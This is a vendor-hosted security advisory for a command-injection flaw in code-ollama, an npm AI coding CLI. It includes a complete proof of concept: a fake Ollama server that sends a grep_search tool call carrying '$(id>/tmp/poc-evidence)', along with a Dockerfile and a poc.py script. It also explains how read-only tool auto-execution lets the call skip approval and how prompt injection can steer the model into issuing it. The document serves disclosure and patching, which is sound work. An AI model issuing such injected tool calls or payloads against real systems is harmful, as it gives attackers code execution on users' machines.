GHSA-456V-XQ2P-R4CJ

GHSA-456V-XQ2P-R4CJ is a high-severity OS command injection vulnerability in code-ollama (npm), affecting versions <= 0.36.0. It is fixed in 0.36.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

code-ollama: grep_search Command Injection via Unescaped $() Shell Substitution (CWE-78)

grep_search Command Injection via Unescaped $() Shell Substitution (CWE-78)

The grep_search tool in code-ollama constructs a shell command string by interpolating attacker-controlled pattern and path arguments, then executes it via child_process.exec(). The sanitization only escapes backslashes and double-quote characters, leaving $() command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running code-ollama. Because grep_search is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is High (CVSS 7.8).

Details

Vulnerable sink, src/utils/tools/filesystem/grep.ts:58-66

const escapedPattern = searchPattern
  .replace(/\\/g, '\\\\')
  .replace(/"/g, '\\"');
const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');

const { stdout } = await execShell(
  `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
);

Only \ and " are neutralized. The shell metacharacter sequence $() (and backtick-style ` substitution) is passed through unmodified. The resulting string is passed to execShell() (src/utils/tools/shell.ts:46-49), which calls exec, the promisified child_process.exec defined at src/utils/node.ts:1-4, causing /bin/sh to interpret the entire string and expand any embedded command substitution.

Full data-flow path (source → sink)

Step Location Action
1 src/utils/ollama.ts:102-103 External Ollama chat stream delivers chunk.message.tool_calls to the CLI
2 src/cli.ts:147-148 Each toolCall is forwarded to tools.executeToolCall()
3 src/utils/tools/dispatcher.ts:300-306 Dispatcher normalizes the call and routes it
4 src/utils/tools/dispatcher.ts:392-393 stringArgs.pattern and stringArgs.path are passed verbatim to grepSearch()
5 src/utils/tools/filesystem/grep.ts:58-63 Incomplete sanitization: only \ and " are escaped (root cause)
6 src/utils/tools/filesystem/grep.ts:65 Shell command string assembled and handed to execShell() (sink)
7 src/utils/tools/shell.ts:46-49 → src/utils/node.ts:1-4 exec() (child_process.exec) executes the string via /bin/sh

Approval-bypass amplifier

grep_search is listed in READ_TOOL_NAMES at src/constants/tool.ts:14-20 and is exposed in Plan mode at src/utils/tools/definitions.ts:225-228. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial code-ollama run invocation.

PoC

Prerequisites

  • code-ollama v0.36.0 installed (e.g., npm install --global [email protected] or built from source via the Dockerfile below).
  • ripgrep (rg) available in PATH (the vulnerable code path requires it).
  • Python 3 available to run the fake Ollama server.

Step 1, Build the self-contained Docker image (recommended)

# From the report root directory (where vuln-001/ lives)
docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
docker run --rm vuln001-code-ollama

The container automatically runs poc.py as CMD. Successful exploitation prints:

[+] EXPLOITATION CONFIRMED
[+] Marker file : /tmp/poc-evidence
[+] Contents    : 'uid=0(root) gid=0(root) groups=0(root)'

Step 2, Manual reproduction (bare-metal)

# Terminal 1, start the malicious Ollama server
cat > /tmp/fake-ollama.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json, sys, threading

_req = 0
_lock = threading.Lock()

class H(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        self.send_response(200); self.end_headers()
        self.wfile.write(b"Ollama is running")
    def do_POST(self):
        global _req
        l = int(self.headers.get("Content-Length", 0))
        self.rfile.read(l)
        with _lock:
            _req += 1; n = _req
        self.send_response(200)
        self.send_header("Content-Type", "application/x-ndjson")
        self.end_headers()
        if n == 1:
            chunk = {"model":"fake","message":{"role":"assistant","content":"",
                "tool_calls":[{"function":{"name":"grep_search",
                    "arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]},
                "done":True,"done_reason":"stop"}
        else:
            chunk = {"model":"fake","message":{"role":"assistant","content":"Done."},
                "done":True,"done_reason":"stop"}
        self.wfile.write((json.dumps(chunk)+"\n").encode())
        self.wfile.flush()

HTTPServer(("127.0.0.1", 11434), H).serve_forever()
PY
python3 /tmp/fake-ollama.py &

# Terminal 2, run code-ollama against the fake server
rm -f /tmp/poc-evidence
OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code"
cat /tmp/poc-evidence   # expected: uid=... gid=... groups=...

Explanation of the payload

The pattern argument value $(id>/tmp/poc-evidence) survives the sanitization in grep.ts:58-63 because only \ and " are stripped. When the resulting shell string

rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"

is executed by /bin/sh via child_process.exec, the shell expands $() first, running id and writing its output to /tmp/poc-evidence before rg ever starts.

Remediation

Replace the shell-string construction with an argument-vector call to avoid the shell entirely:

-import { execShell } from '../shell';
+import { execFile } from '../../node';
+
+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };

-      const escapedPattern = searchPattern
-        .replace(/\\/g, '\\\\')
-        .replace(/"/g, '\\"');
-      const escapedDirPath = dirPath
-        .replace(/\\/g, '\\\\')
-        .replace(/"/g, '\\"');
-
-      const { stdout } = await execShell(
-        `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
-      );
+      const { stdout } = await execFile(
+        'rg',
+        ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],
+        RG_EXEC_OPTIONS,
+      );

Reproduction artifacts

Dockerfile

# VULN-001: grep_search Command Injection, CWE-78
# Target: ai-action/code-ollama v0.36.0
# Proof-of-concept Docker image: builds the repo and runs poc.py
#
# Build (from project root):
#   docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
# Run:
#   docker run --rm vuln001-code-ollama

FROM node:24-slim

# ripgrep , required by grepSearch() in the vulnerable code path
# python3 , runs poc.py orchestration script
RUN apt-get update && apt-get install -y \
    ripgrep \
    python3 \
    --no-install-recommends \
 && rm -rf /var/lib/apt/lists/*

# ── Install Node dependencies ──────────────────────────────────────────────────
WORKDIR /app
COPY repo/package.json repo/package-lock.json ./
# Install ALL deps (devDeps needed for vite build / tsx fallback)
RUN npm ci

# ── Copy source and build ──────────────────────────────────────────────────────
COPY repo/ ./
# Produces /app/dist/cli.js, the bundled CLI entrypoint
RUN npm run build

# ── Runtime setup ─────────────────────────────────────────────────────────────
# code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race
RUN mkdir -p /root/.code-ollama /workspace

COPY vuln-001/poc.py /poc.py

WORKDIR /workspace
CMD ["python3", "/poc.py"]

poc.py

#!/usr/bin/env python3
"""
Proof of Concept: VULN-001, grep_search Command Injection (CWE-78)
Repository : ai-action/code-ollama v0.36.0
Sink       : src/utils/tools/filesystem/grep.ts:65
             execShell(`rg ... "${escapedPattern}" "${escapedDirPath}"`)
Attack path: malicious Ollama server -> tool_call.arguments.pattern
             -> grepSearch() -> execShell() -> child_process.exec()

Only `\\` and `"` are escaped; `$()` command substitution is NOT neutralized.
This PoC demonstrates that a rogue Ollama server can inject arbitrary shell
commands that execute as the local user running code-ollama.

Usage (inside Docker, called automatically by CMD):
    python3 /poc.py

Expected outcome:
    /tmp/poc-evidence is created with content matching INJECTED_CMD output.
"""

import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
FAKE_SERVER_HOST = "127.0.0.1"
FAKE_SERVER_PORT = 11434

# The marker file written by the injected command, used as exploitation proof
MARKER_FILE = "/tmp/poc-evidence"

# Payload: $() command substitution that is NOT escaped by code-ollama's
# sanitization (only \\ and " are escaped, leaving $() intact).
# Writes output of `id` to MARKER_FILE to capture the running UID/GID.
INJECTED_CMD = f"$(id>{MARKER_FILE})"

# Path argument for grep_search (must be a valid non-empty string)
TARGET_PATH = "/workspace"

# Tracks how many POST requests the fake server has received
_request_count = 0
_request_lock = threading.Lock()

# ---------------------------------------------------------------------------
# Fake Ollama HTTP server
# ---------------------------------------------------------------------------

class FakeOllamaHandler(BaseHTTPRequestHandler):
    """Minimal Ollama-compatible HTTP server for the PoC.

    First POST /api/chat  -> returns a grep_search tool_call carrying the
                             injected pattern.
    Subsequent POSTs      -> return a plain done response to terminate the
                             code-ollama tool-loop.
    """

    def log_message(self, fmt, *args):  # suppress default request logging
        pass

    # ------------------------------------------------------------------
    # GET, health-check (code-ollama / ollama-npm may call GET /)
    # ------------------------------------------------------------------
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"Ollama is running")

    # ------------------------------------------------------------------
    # POST, chat streaming endpoint
    # ------------------------------------------------------------------
    def do_POST(self):
        global _request_count

        # Consume request body to avoid broken-pipe on the client side
        content_length = int(self.headers.get("Content-Length", 0))
        _ = self.rfile.read(content_length)

        with _request_lock:
            _request_count += 1
            current_request = _request_count

        self.send_response(200)
        self.send_header("Content-Type", "application/x-ndjson")
        self.end_headers()

        if current_request == 1:
            # ---------------------------------------------------------------
            # First request: inject malicious grep_search tool call
            # The `arguments` object is passed verbatim through the ollama-npm
            # library and reaches grepSearch(pattern, path) in grep.ts.
            # ---------------------------------------------------------------
            print(f"[fake-ollama] Request #{current_request}: "
                  f"sending malicious grep_search tool_call")
            sys.stdout.flush()

            chunk = {
                "model": "fake",
                "message": {
                    "role": "assistant",
                    "content": "",
                    "tool_calls": [{
                        "function": {
                            "name": "grep_search",
                            # pattern and path are the two required string args
                            # validated by validateArgs() in dispatcher.ts
                            "arguments": {
                                "pattern": INJECTED_CMD,
                                "path": TARGET_PATH,
                            },
                        }
                    }],
                },
                "done": True,
                "done_reason": "stop",
            }
        else:
            # ---------------------------------------------------------------
            # Subsequent requests: plain text to terminate the tool loop.
            # No tool_calls -> nextMessages stays null -> processRunStream
            # returns after checking hasUncalledToolIntent (no match on
            # "Done.") so the CLI exits cleanly.
            # ---------------------------------------------------------------
            print(f"[fake-ollama] Request #{current_request}: "
                  "sending done/stop response")
            sys.stdout.flush()

            chunk = {
                "model": "fake",
                "message": {
                    "role": "assistant",
                    "content": "Done.",
                },
                "done": True,
                "done_reason": "stop",
            }

        self.wfile.write((json.dumps(chunk) + "\n").encode())
        self.wfile.flush()


def start_fake_server():
    """Start the fake Ollama server in a daemon thread."""
    server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return server


# ---------------------------------------------------------------------------
# Main orchestration
# ---------------------------------------------------------------------------

def main():
    print("=" * 65)
    print("VULN-001: grep_search Command Injection PoC (CWE-78)")
    print("Target : ai-action/code-ollama v0.36.0")
    print("Sink   : src/utils/tools/filesystem/grep.ts:65")
    print("=" * 65)
    print()
    print(f"[*] Payload  : {INJECTED_CMD}")
    print(f"[*] Marker   : {MARKER_FILE}")
    print()

    # Clean up any leftover marker from a previous run
    if os.path.exists(MARKER_FILE):
        os.unlink(MARKER_FILE)
        print(f"[*] Removed stale marker file: {MARKER_FILE}")

    # -----------------------------------------------------------------------
    # 1. Start the fake Ollama server
    # -----------------------------------------------------------------------
    print(f"[*] Starting fake Ollama server on "
          f"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...")
    start_fake_server()
    time.sleep(0.4)   # give the server socket time to bind

    # -----------------------------------------------------------------------
    # 2. Run code-ollama with OLLAMA_HOST pointing to the fake server
    #    --trust skips the interactive directory-trust prompt (src/cli.ts:214)
    # -----------------------------------------------------------------------
    env = os.environ.copy()
    env["OLLAMA_HOST"] = f"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}"

    # Use the compiled CLI bundle produced by `npm run build` in the Dockerfile
    cmd = [
        "node", "/app/dist/cli.js",
        "run", "--trust", "fake", "search the code",
    ]

    print(f"[*] Executing: {' '.join(cmd)}")
    print(f"[*] OLLAMA_HOST={env['OLLAMA_HOST']}")
    print()

    try:
        result = subprocess.run(
            cmd,
            env=env,
            stdin=subprocess.DEVNULL,   # no TTY / interactive input needed
            capture_output=True,
            text=True,
            timeout=60,
            cwd="/workspace",
        )
    except subprocess.TimeoutExpired:
        print("[-] code-ollama subprocess timed out after 60 s")
        sys.exit(1)

    print("--- code-ollama stdout ---")
    print(result.stdout[:3000] if result.stdout else "(empty)")
    print("--- code-ollama stderr ---")
    print(result.stderr[:3000] if result.stderr else "(empty)")
    print(f"--- exit code: {result.returncode} ---")
    print()

    # -----------------------------------------------------------------------
    # 3. Verify exploitation: check for the marker file
    # -----------------------------------------------------------------------
    if os.path.exists(MARKER_FILE):
        evidence = open(MARKER_FILE).read().strip()
        print("[+] ============================================================")
        print("[+] EXPLOITATION CONFIRMED")
        print("[+] ============================================================")
        print(f"[+] Marker file : {MARKER_FILE}")
        print(f"[+] Contents    : {evidence!r}")
        print("[+] Explanation : The $() command substitution inside the")
        print("[+]   grep_search pattern was NOT escaped by code-ollama's")
        print("[+]   sanitizer (grep.ts:58-63 only strips \\ and \").")
        print("[+]   execShell() passed the raw string to child_process.exec()")
        print("[+]   which ran it through /bin/sh, executing the injected")
        print("[+]   command as the current user.")
        print("[+] ============================================================")
        sys.exit(0)
    else:
        print("[-] ============================================================")
        print("[-] EXPLOITATION FAILED")
        print(f"[-] Expected marker file NOT found: {MARKER_FILE}")
        print("[-] Possible causes:")
        print("[-]   - ollama-npm parsed tool_call.arguments differently")
        print("[-]   - The pattern was sanitized before reaching execShell()")
        print("[-]   - ripgrep is not installed so the fallback path was taken")
        print("[-]   - The shell used does not support $() substitution")
        print("[-] ============================================================")
        sys.exit(1)


if __name__ == "__main__":
    main()

Impact

This is an OS Command Injection vulnerability (CWE-78). Any party that controls the Ollama server response, including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted grep_search tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted OLLAMA_HOST connection, can execute arbitrary commands as the OS user running code-ollama.

Impact scope:

  • Confidentiality (High), attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.
  • Integrity (High), attacker can modify or delete files, plant backdoors, alter repository history.
  • Availability (High), attacker can terminate processes, corrupt data, or consume system resources.

The approval-bypass via READ_TOOL_NAMES / Plan-mode auto-execution means the attack completes silently with no user interaction after code-ollama run is invoked. Developers, CI pipelines, and IDE-integrated users who run code-ollama in trusted directories are all at risk.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

GHSA-456V-XQ2P-R4CJ has a CVSS score of 7.8 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.36.1); upgrading removes the vulnerable code path.

Affected versions

code-ollama (<= 0.36.0)

Security releases

code-ollama → 0.36.1 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade code-ollama to 0.36.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-456V-XQ2P-R4CJ? GHSA-456V-XQ2P-R4CJ is a high-severity OS command injection vulnerability in code-ollama (npm), affecting versions <= 0.36.0. It is fixed in 0.36.1. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
  2. How severe is GHSA-456V-XQ2P-R4CJ? GHSA-456V-XQ2P-R4CJ has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of code-ollama are affected by GHSA-456V-XQ2P-R4CJ? code-ollama (npm) versions <= 0.36.0 is affected.
  4. Is there a fix for GHSA-456V-XQ2P-R4CJ? Yes. GHSA-456V-XQ2P-R4CJ is fixed in 0.36.1. Upgrade to this version or later.
  5. Is GHSA-456V-XQ2P-R4CJ exploitable, and should I be worried? Whether GHSA-456V-XQ2P-R4CJ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-456V-XQ2P-R4CJ is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-456V-XQ2P-R4CJ? Upgrade code-ollama to 0.36.1 or later.

Stop the waste.
Protect your environment with Kodem.